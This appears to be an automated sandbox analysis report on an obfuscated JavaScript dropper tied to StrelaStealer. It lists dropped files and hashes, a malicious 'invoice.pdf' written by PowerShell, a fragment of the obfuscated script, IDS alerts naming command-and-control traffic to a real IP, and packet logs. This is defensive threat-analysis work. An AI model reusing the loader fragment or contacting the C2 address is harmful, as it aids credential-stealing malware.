Preview:	...........[l\[.......p.a$..$.K...&%J.J...Wuo..dI.vk4.E..P.u..(.....1.I....A...............0.....$ctg.H.'....@.Zk...~.s.A]M.A..:g?.^{...cjL...X..#.Q{......z...m...K.U]-..^V.........@..P...U.R..z.......?......]nG..O{..n........y...v7...~C#..O.z...:...H&..6M;........c..#.y4u.~6.?...V?.%?SW.....K...[..`N.i.1..:..@?i.Q..O...`.....m.!y.{...?=.. .....Zk......%.6......o<.....yA}......no......u,.....U...a.......[S.n..`.....:...1......X..u.u...`..B=.&M.y..s.....}.i..l.'u]. ...6.s`....zdN.F.>;.d%D..}3..b..~..k.......,hl.j..._...F..p.z..o...C..,.Ss.u.Xd..a.Y.{.p...?.k..t,&..'...........^.f.hg....y..Y...i..m....<..^......yK.......;.5...E...K..Q.;k..\|;..B.{m..eS..>b..>...6...wmC.i.....wv..k..{..X...RB.P..?w......1l.H..{{.`g.P.8.Z..v_.G.....f.%+z.....p.P..u}.T.....~r]..W7..._..c.k.....@....y.K...uOSj........^....B..]..~{..;...c....r.J.m.S.}.....k....u*^...5./...{......3.I.p.t...V..........W-..\|.K.N.....n.........Bl...#)..;..4.x.....'....A....x..

C:\Users\user\AppData\Local\Temp\acrocef_low\8c448a09-de93-4f00-a7f3-0322d6f12d4c.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/VRaWL07oXGZ4YIGNPJNdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:tRaWLxXGZ4ZGh3mlind9i4ufFXpAXkru
MD5:	41034A6B023B6BB9C723DA146E190954
SHA1:	22C95166FF8A1C4D2AAC25B75D804CEBAAA6ACF2
SHA-256:	52BB8B0CA62248721986D650004C11ACCB0C988B6FBA645D9B4E3557CA87A15D
SHA-512:	6F8CD54BBB750E32FEBD78895F433CCF0C553C56E6B7DDEA03E3EA36ED283084CF6EA6FA8999162999D184B0F04B6E6DAB7F6FC27648EE517F744D7E8DBC8AAD
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\f401566d-6814-4859-a573-38ef16661767.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (15275), with CRLF line terminators
Entropy (8bit):	4.8908135395442125
TrID:
File name:	2801910740378426994.js
File size:	18'669 bytes
MD5:	10b3c1a3bbb8d53174435681d4f3fb4a
SHA1:	e83ddf1d3081eb848ea26c82da20ea8b3caed2f2
SHA256:	dfc9ed8859b85450f20983446da2167bc15e795bc1ce616da16d9f9afbef3825
SHA512:	e548b5ad5f164e8ac91caf53a461c3a8f83f74fc1b60f04cb859aa42a392ed1b5236e50d458e5ae791cae60402301fb3fe4c1fe0e86a625d6de86f518c245ea8
SSDEEP:	384:9v33IbMYZFYBSwJhcKF3ujrYORjchSA4LJ:9v33ITY0wJhRxuPYejoZUJ
TLSH:	C98261C48801A1DE2DDD7074918701EA126413C999E03AECF572507B9BDAF316FFBA36
File Content Preview:	function abxiamsjf(){dvexkgsbt=[1031,3079,5127,4103,2055,3072];var lqvoftj=this[zxxivp+mpatqhn+rbccitc+eeijxxuj+iwkdxss+rvqxm+wukrb+ccfob](this[yxcmfb+seayyttb+torrzpgdf+rbccitc+mshlfcps+zxxivp+ccfob][pbjfwb+rbccitc+iwkdxss+mpatqhn+ccfob+iwkdxss+dvcof+xsm

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T08:44:26.535715+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.8	49705	193.143.1.205	80	TCP
2025-01-11T08:44:26.535715+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.8	49705	193.143.1.205	80	TCP
2025-01-11T08:44:29.323886+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.8	49706	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 08:44:25.720271111 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:25.725081921 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:25.725250959 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:25.728074074 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:25.732809067 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:26.535505056 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:26.535521030 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:26.535531998 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:26.535542965 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:26.535582066 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:26.535593987 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:26.535604954 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:26.535715103 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:26.535715103 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:26.535720110 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:26.535733938 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:26.535747051 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:26.535780907 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:26.535860062 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:26.756688118 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:26.756705046 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:26.756716013 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:26.756732941 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:26.756846905 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:26.756901026 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:26.756920099 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:26.756968975 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:26.757282972 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:26.757316113 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:26.757327080 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:26.757445097 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:26.757515907 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:26.757534027 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:26.757539988 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:26.757550955 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:26.757556915 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:26.757570028 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:26.757570028 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:26.757605076 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:26.757621050 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:26.757631063 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:26.757643938 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:26.757673025 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:26.757673025 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:26.757704973 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:26.757721901 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:26.757739067 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:26.757757902 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:26.757757902 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:26.757791996 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:26.761720896 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:26.761745930 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:26.761795998 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:26.761814117 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:26.761826038 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:26.761837006 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:26.761858940 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:26.762386084 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:26.762417078 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:26.762428045 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:26.762470007 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:26.762470007 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:26.762502909 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:26.762516022 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:26.762674093 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:26.778671026 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:26.778681993 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:26.778747082 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:26.778935909 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:26.779005051 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:26.779016972 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:26.779052973 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:26.779130936 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:26.779335022 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:26.779459000 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:26.779472113 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:26.779485941 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:26.779496908 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:26.779556036 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:26.779611111 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:26.779993057 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:26.780011892 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:26.780024052 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:26.780035019 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:26.780040979 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:26.780077934 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:26.780178070 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:26.780812979 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:26.780832052 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:26.780844927 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:26.780854940 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:26.780867100 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:26.780890942 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:26.780890942 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:26.780958891 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:26.781606913 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:26.781619072 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:26.781630993 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:26.781666994 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:26.781680107 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:26.781713963 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:26.781713963 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:26.782447100 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:26.782541990 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:26.782555103 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:26.782562017 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:26.782572031 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:26.782646894 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:26.782646894 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:26.782690048 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:26.783370972 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:26.783382893 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:26.783402920 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:26.783416033 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:26.783428907 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:26.783456087 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:26.783482075 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:26.784194946 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:26.784207106 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:26.784219980 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:26.784233093 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:26.784245014 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:26.784269094 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:26.784292936 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:26.784292936 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:26.801769018 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:26.833842039 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:26.833875895 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:26.833892107 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:26.833904982 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:26.834019899 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:26.834019899 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:26.836708069 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:26.836724043 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:26.836745977 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:26.836756945 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:26.836770058 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:26.836781979 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:26.836833954 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:26.836834908 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:26.836863995 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:26.868729115 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:26.868746042 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:26.868828058 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:26.901554108 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:26.901567936 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:26.901578903 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:26.901626110 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:26.901638985 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:26.901674032 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:26.901674032 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:26.901709080 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:26.901794910 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:26.901845932 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:26.901858091 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:26.901868105 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:26.901901007 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:26.901901007 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:26.902077913 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:26.902122974 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:26.902134895 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:26.902164936 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:26.902184010 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:26.902254105 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:26.902415991 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:26.902436972 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:26.902447939 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:26.902482986 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:26.902581930 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:26.902595043 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:26.902605057 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:26.902650118 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:26.902650118 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:26.902657032 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:26.902674913 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:26.902921915 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:26.903094053 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:26.903160095 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:26.903172016 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:26.903206110 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:26.903222084 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:26.903234959 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:26.903278112 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:26.903310061 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:26.903328896 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:26.903369904 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:26.903728008 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:26.903788090 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:26.903793097 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:26.903805971 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:26.903856039 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:26.903867006 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:26.903878927 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:26.903904915 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:26.903904915 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:26.904002905 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:26.904015064 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:26.904026031 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:26.904037952 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:26.904081106 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:26.904081106 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:26.904670954 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:26.904684067 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:26.904695034 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:26.904706001 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:26.904762983 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:26.904762983 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:26.904786110 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:26.904798031 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:26.904810905 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:26.904822111 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:26.904856920 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:26.904858112 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:26.904947996 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:26.904961109 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:26.905003071 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:26.905586004 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:26.905599117 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:26.905610085 CET	80	49705	193.143.1.205	192.168.2.8
